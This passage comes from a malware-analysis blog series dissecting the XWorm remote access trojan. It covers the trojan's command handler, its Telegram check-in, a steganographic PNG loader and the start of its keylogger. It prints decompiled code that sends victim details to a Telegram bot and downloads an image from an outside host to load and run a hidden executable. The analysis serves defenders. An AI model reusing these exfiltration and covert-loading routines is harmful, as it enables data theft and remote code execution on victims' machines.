<p>Once the payload is decrypted, it is split using the <em>Strings.Split</em> function, having the string <code>&lt;Xwormmm&gt;</code> as separator:</p>
<div class="codeblock">
  <div class="codebar">
    <span>C#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C#" data-lang="C#"><span class="line"><span class="cl"><span class="kt">string</span><span class="p">[]</span> <span class="n">array</span> <span class="p">=</span> <span class="n">Strings</span><span class="p">.</span><span class="n">Split</span><span class="p">(</span><span class="n">class1</span><span class="p">.</span><span class="n">GetString</span><span class="p">(</span><span class="n">class1</span><span class="p">.</span><span class="n">bYp2DT0qddN2</span><span class="p">(</span><span class="n">vReceivedPayload</span><span class="p">)),</span> <span class="n">Conversions</span><span class="p">.</span><span class="n">ToString</span><span class="p">(</span><span class="n">class</span><span class="p">.</span><span class="n">separador</span><span class="p">),</span> <span class="p">-</span><span class="m">1</span><span class="p">,</span> <span class="n">CompareMethod</span><span class="p">.</span><span class="n">Binary</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kt">string</span> <span class="n">text</span> <span class="p">=</span> <span class="n">array</span><span class="p">[</span><span class="m">0</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">Operators</span><span class="p">.</span><span class="n">CompareString</span><span class="p">(</span><span class="n">text</span><span class="p">,</span> <span class="s">&#34;rec&#34;</span><span class="p">,</span> <span class="kc">false</span><span class="p">)</span> <span class="p">==</span> <span class="m">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="n">zsvYKm3Krg57</span><span class="p">.</span><span class="n">UnsetProcessCritical</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">	<span class="n">Application</span><span class="p">.</span><span class="n">Restart</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">	<span class="n">Environment</span><span class="p">.</span><span class="n">Exit</span><span class="p">(</span><span class="m">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">Operators</span><span class="p">.</span><span class="n">CompareString</span><span class="p">(</span><span class="n">text</span><span class="p">,</span> <span class="s">&#34;CLOSE&#34;</span><span class="p">,</span> <span class="kc">false</span><span class="p">)</span> <span class="p">==</span> <span class="m">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="n">zsvYKm3Krg57</span><span class="p">.</span><span class="n">UnsetProcessCritical</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">	<span class="n">class</span><span class="p">.</span><span class="n">vSocket</span><span class="p">.</span><span class="n">Shutdown</span><span class="p">(</span><span class="n">SocketShutdown</span><span class="p">.</span><span class="n">Both</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="n">class</span><span class="p">.</span><span class="n">vSocket</span><span class="p">.</span><span class="n">Close</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">	<span class="n">Environment</span><span class="p">.</span><span class="n">Exit</span><span class="p">(</span><span class="m">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">...</span></span></span></code></pre></div>
</div>
<p>The first part of the split payload corresponds to the command, while the second part corresponds to the arguments the command expects; for example, the payload <code>Urlopen&lt;Xwormmm&gt;C:\Windows\System32\calc.exe</code> would execute the <code>Urlopen</code> command, passing the path to the Windows calculator as an argument:</p>
<div class="codeblock">
  <div class="codebar">
    <span>C#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C#" data-lang="C#"><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="n">Operators</span><span class="p">.</span><span class="n">CompareString</span><span class="p">(</span><span class="n">text</span><span class="p">,</span> <span class="s">&#34;Urlopen&#34;</span><span class="p">,</span> <span class="kc">false</span><span class="p">)</span> <span class="p">==</span> <span class="m">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="n">class</span><span class="p">.</span><span class="n">Urlopen</span><span class="p">(</span><span class="n">array</span><span class="p">[</span><span class="m">1</span><span class="p">],</span> <span class="kc">false</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">...</span>
</span></span><span class="line"><span class="cl"><span class="kd">public</span> <span class="kd">static</span> <span class="k">void</span> <span class="n">Urlopen</span><span class="p">(</span><span class="kt">string</span> <span class="n">command</span><span class="p">,</span> <span class="kt">bool</span> <span class="n">download</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="k">if</span> <span class="p">(</span><span class="n">download</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">			<span class="p">{</span>
</span></span><span class="line"><span class="cl">				<span class="k">try</span>
</span></span><span class="line"><span class="cl">				<span class="p">{</span>
</span></span><span class="line"><span class="cl">					<span class="n">ServicePointManager</span><span class="p">.</span><span class="n">Expect100Continue</span> <span class="p">=</span> <span class="kc">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">					<span class="n">ServicePointManager</span><span class="p">.</span><span class="n">SecurityProtocol</span> <span class="p">=</span> <span class="n">SecurityProtocolType</span><span class="p">.</span><span class="n">Tls12</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">					<span class="n">ServicePointManager</span><span class="p">.</span><span class="n">DefaultConnectionLimit</span> <span class="p">=</span> <span class="m">9999</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">				<span class="p">}</span>
</span></span><span class="line"><span class="cl">				<span class="n">HttpWebRequest</span> <span class="n">httpWebRequest</span> <span class="p">=</span> <span class="p">(</span><span class="n">HttpWebRequest</span><span class="p">)</span><span class="n">WebRequest</span><span class="p">.</span><span class="n">Create</span><span class="p">(</span><span class="n">command</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">				<span class="n">httpWebRequest</span><span class="p">.</span><span class="n">UserAgent</span> <span class="p">=</span> <span class="n">TFIW2FSLtw9S</span><span class="p">.</span><span class="n">yeTD98gQKyr3</span><span class="p">[</span><span class="k">new</span> <span class="n">Random</span><span class="p">().</span><span class="n">Next</span><span class="p">(</span><span class="n">TFIW2FSLtw9S</span><span class="p">.</span><span class="n">yeTD98gQKyr3</span><span class="p">.</span><span class="n">Length</span><span class="p">)];</span>
</span></span><span class="line"><span class="cl">				<span class="n">httpWebRequest</span><span class="p">.</span><span class="n">AllowAutoRedirect</span> <span class="p">=</span> <span class="kc">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">				<span class="n">httpWebRequest</span><span class="p">.</span><span class="n">Timeout</span> <span class="p">=</span> <span class="m">10000</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">				<span class="n">httpWebRequest</span><span class="p">.</span><span class="n">Method</span> <span class="p">=</span> <span class="s">&#34;GET&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">				<span class="k">using</span> <span class="p">((</span><span class="n">HttpWebResponse</span><span class="p">)</span><span class="n">httpWebRequest</span><span class="p">.</span><span class="n">GetResponse</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">				<span class="p">{</span>
</span></span><span class="line"><span class="cl">				<span class="p">}</span>
</span></span><span class="line"><span class="cl">			<span class="p">}</span>
</span></span><span class="line"><span class="cl">			<span class="k">else</span>
</span></span><span class="line"><span class="cl">			<span class="p">{</span>
</span></span><span class="line"><span class="cl">				<span class="n">Process</span><span class="p">.</span><span class="n">Start</span><span class="p">(</span><span class="n">command</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">			<span class="p">}</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span></span></span></code></pre></div>
</div>
<p>XWorm supports the following commands:</p>
<ul>
<li>rec: changes the process priority from critical to non-critical and restarts the program</li>
<li>CLOSE: changes the process priority from critical to non-critical and closes the program</li>
<li>uninstall: removes the malware and its persistence mechanisms</li>
<li>update: updates the malware with the information sent by the C2</li>
<li>DW/FM/LN: different ways of downloading and executing programs</li>
<li>Urlopen: starts the process provided by the C2 (for example, “C:\Windows\System32\calc.exe”)</li>
<li>PCShutdown: shuts down the computer</li>
<li>PCRestart: restarts the computer</li>
<li>PCLogoff: logs the user off</li>
<li>StartDDos: initiates a DDoS attack on the URL specified by the attacker</li>
<li>StopDDos: stops an ongoing DDoS attack</li>
<li>StartReport: sends the running processes to the C2 server</li>
<li>Xchat/ngrok: sends the agent ID to the C2 server</li>
<li>plugin: downloads and executes a plugin</li>
<li>OfflineGet: captures what the user types (keylogger)</li>
<li>$Cap: takes a screenshot of the device and sends it to the C2 server</li>
<li>MessageBox: displays a message to the user</li>
</ul>
<h2 id="conclusion">
  Conclusion<a class="heading-anchor" href="#conclusion" aria-label="Link to this section">#</a></h2>
<p>After 7 articles, we have finally reached XWorm&rsquo;s objective: it is a RAT (Remote Access Trojan) with multiple capabilities:</p>
<ul>
<li>Keylogger</li>
<li>Cryptocurrency theft</li>
<li>Taking screenshots</li>
<li>Launching a DDoS attack</li>
<li>Executing a program on its victim&rsquo;s system</li>
<li>Downloading and executing a program (for example, ransomware)</li>
<li>Plugin installation</li>
</ul>
<p>The vast number of capabilities XWorm has, along with the measures it takes to remain unnoticed, make it an interesting malware to analyze; XWorm is constantly evolving, so it will be interesting to check in a few months what new techniques it has implemented to continue compromising new victims.</p>
]]></content:encoded></item><item><title>011 - Decoding XWorm: Communication via Telegram and Retrieval of New Variant</title><link>https://www.threatanatomy.com/p/011-xworm-6/</link><pubDate>Wed, 16 Apr 2025 12:08:00 -0500</pubDate><guid>https://www.threatanatomy.com/p/011-xworm-6/</guid><description>In this article, we explore how XWorm reports back to its operators and how it retrieves new variants of itself.</description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<h2 id="introduction">
  Introduction<a class="heading-anchor" href="#introduction" aria-label="Link to this section">#</a></h2>
<p>In the previous article, we explored how XWorm intercepts cryptocurrency wallet addresses to steal funds and captures keystrokes from the victim. In this article, we’ll examine how XWorm reports back to its creators when it infects a new victim, and how it updates itself if necessary.</p>
<h2 id="communication-via-telegram">
  Communication via Telegram<a class="heading-anchor" href="#communication-via-telegram" aria-label="Link to this section">#</a></h2>
<p>The code XWorm uses to report itself is easy to understand:</p>
<div class="codeblock">
  <div class="codebar">
    <span>C#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C#" data-lang="C#"><span class="line"><span class="cl"><span class="k">using</span> <span class="p">(</span><span class="n">WebClient</span> <span class="n">webClient</span> <span class="p">=</span> <span class="k">new</span> <span class="n">WebClient</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="kt">string</span> <span class="n">newLine</span> <span class="p">=</span> <span class="n">Environment</span><span class="p">.</span><span class="n">NewLine</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="kt">string</span> <span class="n">text</span> <span class="p">=</span> <span class="kt">string</span><span class="p">.</span><span class="n">Concat</span><span class="p">(</span><span class="k">new</span> <span class="kt">string</span><span class="p">[]</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="s">&#34;☠ [WizWorm]&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="n">newLine</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="n">newLine</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="s">&#34;New Clinet : &#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="n">newLine</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="n">TFIW2FSLtw9S</span><span class="p">.</span><span class="n">FJMqXu7uvzCu</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">		<span class="n">newLine</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="n">newLine</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="s">&#34;UserName : &#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="n">Environment</span><span class="p">.</span><span class="n">UserName</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="n">newLine</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="s">&#34;OSFullName : &#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="m">2</span><span class="n">HmONKQojJhuyq7J5js7wzrwlEjPZ2gvOmWLZ</span><span class="p">.</span><span class="n">Computer</span><span class="p">.</span><span class="n">Info</span><span class="p">.</span><span class="n">OSFullName</span>
</span></span><span class="line"><span class="cl">	<span class="p">});</span>
</span></span><span class="line"><span class="cl">	<span class="n">webClient</span><span class="p">.</span><span class="n">DownloadString</span><span class="p">(</span><span class="kt">string</span><span class="p">.</span><span class="n">Concat</span><span class="p">(</span><span class="k">new</span> <span class="kt">string</span><span class="p">[]</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="s">&#34;https://api.telegram.org/bot&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="n">Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec</span><span class="p">.</span><span class="n">nnOZhYK0wjpot1RoNGOJ1bkjxjVdRCDD7uXeR</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="s">&#34;/sendMessage?chat_id=&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="n">Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec</span><span class="p">.</span><span class="n">LFycjzFw0leIPcKun6Ib6Mf8btUoQQknVTabA</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="s">&#34;&amp;text=&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="n">text</span>
</span></span><span class="line"><span class="cl">	<span class="p">}));</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div>
</div>
<p>Taking a quick look at the code, we see that it sends the username of the victim, as well as the operating system; we also see the text <em>☠ [WizWorm]</em>, which helps identify the malware.</p>
<p>The malware calls the function <em>FJMqXu7uvzCu</em>, which generates a unique identifier using information from the victim’s machine:</p>
<div class="codeblock">
  <div class="codebar">
    <span>C#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C#" data-lang="C#"><span class="line"><span class="cl"><span class="kd">public</span> <span class="kd">static</span> <span class="kt">string</span> <span class="n">FJMqXu7uvzCu</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="kt">string</span> <span class="n">text</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="k">try</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="n">text</span> <span class="p">=</span> <span class="n">TFIW2FSLtw9S</span><span class="p">.</span><span class="n">zH5IMQfj0k7d</span><span class="p">(</span><span class="kt">string</span><span class="p">.</span><span class="n">Concat</span><span class="p">(</span><span class="k">new</span> <span class="kt">object</span><span class="p">[]</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="n">Environment</span><span class="p">.</span><span class="n">ProcessorCount</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">			<span class="n">Environment</span><span class="p">.</span><span class="n">UserName</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">			<span class="n">Environment</span><span class="p">.</span><span class="n">MachineName</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">			<span class="n">Environment</span><span class="p">.</span><span class="n">OSVersion</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">			<span class="k">new</span> <span class="n">DriveInfo</span><span class="p">(</span><span class="n">Path</span><span class="p">.</span><span class="n">GetPathRoot</span><span class="p">(</span><span class="n">Environment</span><span class="p">.</span><span class="n">SystemDirectory</span><span class="p">)).</span><span class="n">TotalSize</span>
</span></span><span class="line"><span class="cl">		<span class="p">}));</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="k">catch</span> <span class="p">(</span><span class="n">Exception</span> <span class="n">ex</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="n">text</span> <span class="p">=</span> <span class="s">&#34;Err HWID&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="n">text</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div>
</div>
<p>The <em>zH5IMQfj0k7d</em> function generates an MD5 hash of the following values: number of CPU cores, username, machine hostname, OS version, and hard drive size. It then concatenates the values after converting them to hexadecimal and extracts the first 20 characters of the resulting string.</p>
<p>XWorm <a href="https://core.telegram.org/bots/api#sendmessage" rel="noopener noreferrer external" target="_blank">uses the Telegram API to send the victim&rsquo;s data to a group</a>
:</p>
<div class="codeblock">
  <div class="codebar">
    <span>http</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-http" data-lang="http"><span class="line"><span class="cl"><span class="err">https://api.telegram.org/bot572051XXXX:AAF4KOAv3GXHFU0RS3g4XXXXXXXXXXXX__A/sendMessage?chat_id=-1001540XXXXXX&amp;text=INFORMACIONUSUARIO</span></span></span></code></pre></div>
</div>
<h2 id="obtaining-a-new-variant">
  Obtaining a New Variant<a class="heading-anchor" href="#obtaining-a-new-variant" aria-label="Link to this section">#</a></h2>
<p>After notifying its creators about the new victim via Telegram, XWorm starts a new thread to download an image, process it, and execute the resulting content:</p>
<div class="codeblock">
  <div class="codebar">
    <span>C#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C#" data-lang="C#"><span class="line"><span class="cl"><span class="kd">public</span> <span class="kd">static</span> <span class="k">void</span> <span class="n">u4JX9v7FvmTG</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="n">Thread</span><span class="p">.</span><span class="n">Sleep</span><span class="p">(</span><span class="m">5000</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="k">try</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="n">ServicePointManager</span><span class="p">.</span><span class="n">Expect100Continue</span> <span class="p">=</span> <span class="kc">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="n">ServicePointManager</span><span class="p">.</span><span class="n">SecurityProtocol</span> <span class="p">=</span> <span class="n">SecurityProtocolType</span><span class="p">.</span><span class="n">Tls12</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="n">ServicePointManager</span><span class="p">.</span><span class="n">DefaultConnectionLimit</span> <span class="p">=</span> <span class="m">9999</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="k">try</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="n">WebClient</span> <span class="n">webClient</span> <span class="p">=</span> <span class="k">new</span> <span class="n">WebClient</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">		<span class="n">Bitmap</span> <span class="n">bitmap</span> <span class="p">=</span> <span class="p">(</span><span class="n">Bitmap</span><span class="p">)</span><span class="n">Image</span><span class="p">.</span><span class="n">FromStream</span><span class="p">(</span><span class="n">webClient</span><span class="p">.</span><span class="n">OpenRead</span><span class="p">(</span><span class="s">&#34;https://i.ibb.co/DwrXXXX/Image.png&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">		<span class="n">List</span><span class="p">&lt;</span><span class="kt">byte</span><span class="p">&gt;</span> <span class="n">list</span> <span class="p">=</span> <span class="k">new</span> <span class="n">List</span><span class="p">&lt;</span><span class="kt">byte</span><span class="p">&gt;();</span>
</span></span><span class="line"><span class="cl">		<span class="kt">object</span> <span class="n">obj</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="kt">object</span> <span class="n">obj2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="k">if</span> <span class="p">(</span><span class="n">ObjectFlowControl</span><span class="p">.</span><span class="n">ForLoopControl</span><span class="p">.</span><span class="n">ForLoopInitObj</span><span class="p">(</span><span class="n">obj</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="k">checked</span><span class="p">(</span><span class="n">bitmap</span><span class="p">.</span><span class="n">Width</span> <span class="p">-</span> <span class="m">1</span><span class="p">),</span> <span class="m">1</span><span class="p">,</span> <span class="k">ref</span> <span class="n">obj2</span><span class="p">,</span> <span class="k">ref</span> <span class="n">obj</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="k">do</span>
</span></span><span class="line"><span class="cl">			<span class="p">{</span>
</span></span><span class="line"><span class="cl">				<span class="n">list</span><span class="p">.</span><span class="n">Add</span><span class="p">(</span><span class="n">bitmap</span><span class="p">.</span><span class="n">GetPixel</span><span class="p">(</span><span class="n">Conversions</span><span class="p">.</span><span class="n">ToInteger</span><span class="p">(</span><span class="n">obj</span><span class="p">),</span> <span class="m">0</span><span class="p">).</span><span class="n">R</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">			<span class="p">}</span>
</span></span><span class="line"><span class="cl">			<span class="k">while</span> <span class="p">(</span><span class="n">ObjectFlowControl</span><span class="p">.</span><span class="n">ForLoopControl</span><span class="p">.</span><span class="n">ForNextCheckObj</span><span class="p">(</span><span class="n">obj</span><span class="p">,</span> <span class="n">obj2</span><span class="p">,</span> <span class="k">ref</span> <span class="n">obj</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">		<span class="n">AppDomain</span><span class="p">.</span><span class="n">CurrentDomain</span><span class="p">.</span><span class="n">Load</span><span class="p">(</span><span class="n">list</span><span class="p">.</span><span class="n">ToArray</span><span class="p">()).</span><span class="n">EntryPoint</span><span class="p">.</span><span class="n">Invoke</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span> <span class="kc">null</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="k">catch</span> <span class="p">(</span><span class="n">Exception</span> <span class="n">ex2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="n">Thread</span><span class="p">.</span><span class="n">Sleep</span><span class="p">(</span><span class="m">2000</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div>
</div>
<p>If we download the image, we can confirm that it&rsquo;s a standard image, not flagged as malicious by Windows Defender. XWorm employs a technique called steganography, which hides information within files like images, videos, or text.</p>
<p>By analyzing the code, we see that it iterates through each pixel of the image, extracts the red component, and adds it to a list. Then, it uses the <a href="https://learn.microsoft.com/en-us/dotnet/api/system.appdomain.load?view=net-9.0" rel="noopener noreferrer external" target="_blank"><em>AppDomain.Load</em> method</a>
 to load the list as a block of code, retrieves the code&rsquo;s entry point using the <a href="https://learn.microsoft.com/en-us/dotnet/api/system.reflection.assembly.entrypoint?view=net-9.0" rel="noopener noreferrer external" target="_blank"><em>Assembly.EntryPoint</em> property</a>
, and finally, executes the code using the <em>Invoke</em> method.</p>
<p>In the following image, we can identify the bytes 4D and 5A - MZ, which are characteristic of .EXE programs:</p>
<p><figure><img src="/p/011-xworm-6/011-variant_hu_8193299ce73a61b6.webp" alt="Extracting the EXE" loading="lazy" decoding="async" width="856" height="426"><figcaption>Extracting the EXE</figcaption></figure>
</p>
<h2 id="analysis">
  Analysis<a class="heading-anchor" href="#analysis" aria-label="Link to this section">#</a></h2>
<p>I find it interesting that XWorm carries out malicious activities, such as cryptocurrency theft and keylogging, before reporting to its creator. This is likely because these actions could trigger detection and removal of the malware, so the creators probably wait until they are certain that these activities have not been blocked before notifying them of a new victim.</p>
<p>XWorm continues to showcase the creativity of its developers by using steganography to hide new variants of itself. The image XWorm downloads is a normal image (not an .exe file renamed as .png), meaning it cannot be executed on its own. Windows Defender or any tool that analyzes network traffic would simply see a PNG image and not raise any alerts. This type of rarely used technique is what makes XWorm interesting (similar to the infection of new devices through USBs).</p>
<h2 id="next-steps">
  Next Steps<a class="heading-anchor" href="#next-steps" aria-label="Link to this section">#</a></h2>
<p>In the next article, we will conclude the analysis of XWorm by unraveling its Command and Control capabilities.</p>
]]></content:encoded></item><item><title>010 - Decoding XWorm: Keylogger and Cryptocurrency Capture</title><link>https://www.threatanatomy.com/p/010-xworm-5/</link><pubDate>Wed, 19 Mar 2025 12:08:00 -0500</pubDate><guid>https://www.threatanatomy.com/p/010-xworm-5/</guid><description>In this article, we explore how XWorm intercepts cryptocurrency transactions intended for other wallets, as well as its ability to capture keystrokes from its victim through keylogging.</description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<h2 id="introduction">
  Introduction<a class="heading-anchor" href="#introduction" aria-label="Link to this section">#</a></h2>
<p>In the previous article, we saw how XWorm uses removable devices to infect new systems. In this article, we begin analyzing some of its malicious capabilities, such as cryptocurrency capture and keylogging.</p>
<h2 id="keylogger">
  Keylogger<a class="heading-anchor" href="#keylogger" aria-label="Link to this section">#</a></h2>
<p>After copying itself to any USB device connected to the system, the malware creates two threads: one invoking the function <em>MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz</em>, and another calling the function <em>ThPsG0ZcwqMa4kJtYpmfUiZCDYdrN4oqfZTPJXN3GUBU4Fn0jO3gkFsMruRx8UdiBqQKAm</em>.
<figure><img src="/p/010-xworm-5/010-newthreads_hu_10db4569fe158568.webp" alt="Newly created threads" loading="lazy" decoding="async" width="1159" height="33"><figcaption>Newly created threads</figcaption></figure>
</p>
<h3 id="keylogger-configuration">
  Keylogger: Configuration<a class="heading-anchor" href="#keylogger-configuration" aria-label="Link to this section">#</a></h3>
<p>We begin by analyzing the function <em>MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz</em>; since the variable and class names are obfuscated, the analysis appears to be challenging:</p>
<div class="codeblock">
  <div class="codebar">
    <span>C#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C#" data-lang="C#"><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">private</span> <span class="kd">static</span> <span class="k">void</span> <span class="n">MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="n">nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj</span><span class="p">.</span><span class="n">mXoA0oyBbMu9pEDOWAfTn0eDkRR6tCTlxo5fRlkh0sY5IOrbnvsPXthl7ri4ntfJ7PgB8Z</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">...</span>
</span></span><span class="line"><span class="cl"><span class="kd">public</span> <span class="k">class</span> <span class="nc">nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="kd">public</span> <span class="kd">static</span> <span class="k">void</span> <span class="n">mXoA0oyBbMu9pEDOWAfTn0eDkRR6tCTlxo5fRlkh0sY5IOrbnvsPXthl7ri4ntfJ7PgB8Z</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="n">nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj</span><span class="p">.</span><span class="n">gwErjDsnC1yo</span> <span class="p">=</span> <span class="n">nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj</span><span class="p">.</span><span class="n">DDJc7Kd7F6aaQAtw8IuzYQEwEuydszgkZGcZmYldo7F2VpX4pg3i0mjfoBgF8yN1tSNk2V</span><span class="p">(</span><span class="n">nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj</span><span class="p">.</span><span class="n">jtmLNbYtCsof</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">			<span class="n">Application</span><span class="p">.</span><span class="n">Run</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">
